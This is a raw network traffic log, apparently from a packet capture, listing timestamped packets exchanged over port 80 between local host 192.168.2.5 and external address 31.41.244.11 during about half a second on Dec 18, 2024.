Dec 18, 2024 19:08:22.757823944 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.757823944 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.757875919 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.758893967 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.758960009 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.759094954 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.759140015 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.760016918 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.760061026 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.760864019 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.760951996 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.761101007 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.761195898 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.761953115 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.762016058 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.762188911 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.762238026 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.762348890 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.762464046 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.763356924 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.763653040 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.764532089 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.764544964 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.764588118 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.764693975 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.764817953 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.765621901 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.765944004 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.766024113 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.766096115 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.766854048 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.766913891 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.767585993 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.767682076 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.767981052 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.768028021 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.768767118 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.768862009 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.769063950 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.769104004 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.769720078 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.769769907 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.770137072 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.770186901 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.771076918 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.771122932 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.771450043 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.771462917 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.771507978 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.771507978 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.772480011 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.772542953 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.772742033 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.772824049 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.773583889 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.773679972 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.773757935 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.773915052 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.774745941 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.774846077 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.775168896 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.775242090 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.776179075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.776266098 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.776344061 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.776453018 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.777345896 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.777401924 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.777430058 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.777590990 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.778510094 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.778670073 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.778846025 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.778923035 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.779458046 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.779506922 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.779577971 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.779658079 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.780704975 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.780755043 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.780782938 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.780854940 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.781732082 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.781796932 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.781815052 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.781869888 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.782622099 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.782699108 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.782779932 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.782932997 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.783710003 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.783766031 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.783945084 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.783992052 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.784872055 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.784955978 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.785078049 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.785128117 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.785914898 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.785965919 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.786112070 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.786185026 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.787092924 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.787179947 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.787326097 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.787380934 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.788182020 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.788244963 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.788266897 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.788343906 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.789349079 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.789419889 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.789422989 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.789465904 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.790442944 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.790532112 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.923707962 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.923841953 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.923851967 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.923923016 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.924143076 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.924201965 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.924220085 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.924279928 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.925276995 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.925362110 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.925438881 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.925510883 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.926469088 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.926520109 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.926592112 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.926692009 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.927536964 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.927620888 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.928149939 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.928199053 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.928725004 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.928738117 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.928813934 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.929790974 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.929860115 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.930244923 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.930299997 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.930948973 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.931039095 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.931332111 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.931399107 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.932065010 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.932125092 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.932147026 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.932199955 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.933151007 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.933228016 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.933620930 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.933669090 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.934578896 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.934643030 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.934674978 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.934783936 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.935637951 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.935678959 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.936193943 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.936273098 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.936724901 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.936742067 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.936825991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.936825991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.937741995 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.937833071 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.937910080 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.937980890 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.939058065 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.939151049 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.939888000 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.939949036 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.940334082 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.940346003 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.940407038 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.941544056 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.941596031 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.941740990 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.941817045 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.942636967 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.942717075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.942725897 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.942759991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.943645000 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.943738937 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.943866968 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.943953991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.944643021 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.944705009 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.944719076 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.944786072 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.945769072 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.945916891 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.945945978 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.946104050 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.947091103 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.947238922 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.947259903 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.947334051 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.948282003 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.948395967 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.948664904 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.948713064 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.949362040 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.949433088 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.949729919 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.949815035 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.950293064 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.950368881 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.950395107 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.950572014 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.954114914 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.954225063 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.954236984 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.954247952 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.954282999 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.954550982 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.954561949 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.954572916 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.954607964 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.954622984 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.955034971 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.955048084 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.955104113 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.955729961 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.955818892 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.955841064 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.955919981 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.956864119 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.956938028 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.956944942 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.957047939 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.957997084 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.958055019 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.958082914 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.958127975 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.959110975 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.959194899 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.960259914 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.960272074 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.960329056 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.960429907 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.960521936 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.961389065 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.961476088 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.961477995 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.961633921 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.962517023 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.962675095 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.962692976 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.962771893 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.963624954 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.963687897 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.963819027 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.963890076 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.964720964 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.965023041 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.965060949 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.965074062 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.966116905 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.966128111 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.966196060 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.967106104 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.967333078 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.967771053 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.967849016 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.968347073 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.968422890 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.968966007 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.969049931 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.969522953 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.969568014 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.969775915 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.969903946 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.970531940 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.970803976 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.971251965 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.971333027 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.971807003 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.971818924 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.971868992 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.971868992 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.972923040 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.973007917 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.973084927 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.973167896 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.973916054 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.974004984 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.974937916 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.974950075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.974998951 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.974998951 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.975095034 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.975143909 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.976066113 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.976156950 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.976273060 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.976408958 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.977191925 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.977236986 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.978281975 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.978339911 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.978411913 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.978425026 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.978473902 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.979587078 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.979599953 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.979655027 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.979655027 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.980685949 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.980736017 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.980937004 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.980988979 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.981863022 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.981914043 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.982095003 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.982160091 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.982812881 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.982904911 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.119049072 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.119216919 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.119299889 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.119354010 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.119548082 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.119592905 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.119776964 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.119869947 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.120740891 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.120815992 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.121299982 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.121356964 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.121943951 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.122030020 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.122204065 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.122245073 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.123168945 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.123224974 CET	49723	80	192.168.2.5	31.41.244.11
